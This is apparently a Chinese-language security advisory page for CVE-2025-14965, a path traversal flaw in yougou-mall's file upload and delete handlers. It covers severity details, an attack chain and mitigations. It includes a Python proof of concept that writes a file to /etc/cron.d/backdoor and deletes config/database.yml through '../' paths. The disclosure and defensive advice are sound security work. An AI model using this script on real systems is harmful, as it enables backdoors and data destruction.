IPBUF安全漏洞报告
English
CVE-2025-14965 CVSS 5.5 中危

CVE-2025-14965 | yougou-mall路径遍历漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-14965
漏洞类型
路径遍历
CVSS评分
5.5 中危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
yougou-mall(优购商城)

相关标签

路径遍历文件操作yougou-mall优购商城CVE-2025-14965中危漏洞低权限利用邻接网络攻击

漏洞概述

CVE-2025-14965是yougou-mall(优购商城)系统中存在的一个路径遍历(Path Traversal)漏洞。该漏洞位于src/main/java/per/ccm/ygmall/extra/controller/ResourceController.java文件中的upload和delete函数。由于程序未对用户输入的文件路径进行充分的验证和过滤,攻击者可以通过构造特殊的文件路径(如使用../等目录遍历字符)来访问服务器上的任意文件,包括系统敏感文件、配置文件或其他用户数据。漏洞影响版本截至commit 0a771fa817c924efe52c8fe0a9a6658eee675f9f。由于该产品采用滚动发布模式(rolling release),无法提供确切的版本号信息。攻击者利用此漏洞可在无需高权限的情况下,实现对目标系统的文件读取、写入或删除操作,可能导致敏感信息泄露、系统配置被篡改或服务中断等严重后果。

技术细节

漏洞存在于yougou-mall的ResourceController.java文件中的upload和delete函数。该函数在处理文件上传和删除请求时,直接使用用户提供的文件路径而未进行安全校验。攻击者可以通过在文件路径中插入../等目录遍历序列,绕过应用程序的目录限制,访问服务器上的任意位置文件。例如,上传文件时指定路径为../../../etc/passwd可能实现对系统密码文件的覆盖或写入;删除文件时指定路径为../../../config/database.yml可能实现对配置文件的删除。由于该漏洞利用需要低权限认证(PR:L),且无需用户交互(UI:N),攻击门槛相对较低。攻击者通过邻接网络(AV:A)即可发起攻击,CVSS评分5.5反映了其在机密性、完整性和可用性方面均存在较低影响。

攻击链分析

STEP 1
步骤1
攻击者注册低权限账户或获取现有低权限用户凭证
STEP 2
步骤2
访问yougou-mall的文件上传或删除功能接口
STEP 3
步骤3
在文件路径参数中构造路径遍历payload(如../../../etc/passwd或../../../config/database.yml)
STEP 4
步骤4
发送恶意请求,服务器未校验路径,直接执行文件操作
STEP 5
步骤5
攻击者实现任意文件读取、写入或删除,可能导致敏感信息泄露、配置篡改或系统瘫痪

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14965 Path Traversal PoC for yougou-mall # Target: yougou-mall ResourceController.java upload/delete functions import requests import sys TARGET_URL = "http://target-host/yougou-mall" def upload_file_traversal(): """Upload file using path traversal to write outside intended directory""" files = { 'file': ('test.txt', 'malicious content', 'text/plain') } # Path traversal payload - writes to parent directory data = { 'path': '../../../etc/cron.d/backdoor' } try: response = requests.post( f"{TARGET_URL}/resource/upload", files=files, data=data, timeout=10 ) print(f"Upload Response: {response.status_code}") return response.json() except Exception as e: print(f"Upload failed: {e}") return None def delete_file_traversal(): """Delete arbitrary file using path traversal""" # Path traversal payload - deletes outside intended directory file_path = '../../../config/database.yml' try: response = requests.delete( f"{TARGET_URL}/resource/delete", params={'path': file_path}, timeout=10 ) print(f"Delete Response: {response.status_code}") return response.json() except Exception as e: print(f"Delete failed: {e}") return None if __name__ == '__main__': print("CVE-2025-14965 PoC - yougou-mall Path Traversal") print("=" * 50) print("Testing file upload with path traversal...") upload_file_traversal() print("\nTesting file delete with path traversal...") delete_file_traversal()

影响范围

yougou-mall < 0a771fa817c924efe52c8fe0a9a6658eee675f9f

防御指南

临时缓解措施
在未完成修复前,可采取以下临时缓解措施:1)禁用文件上传和删除功能;2)配置Web应用防火墙(WAF)规则拦截包含路径遍历特征的请求;3)限制文件操作目录的访问权限;4)启用详细的访问日志监控异常文件操作行为;5)对关键配置文件实施备份和权限加固。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表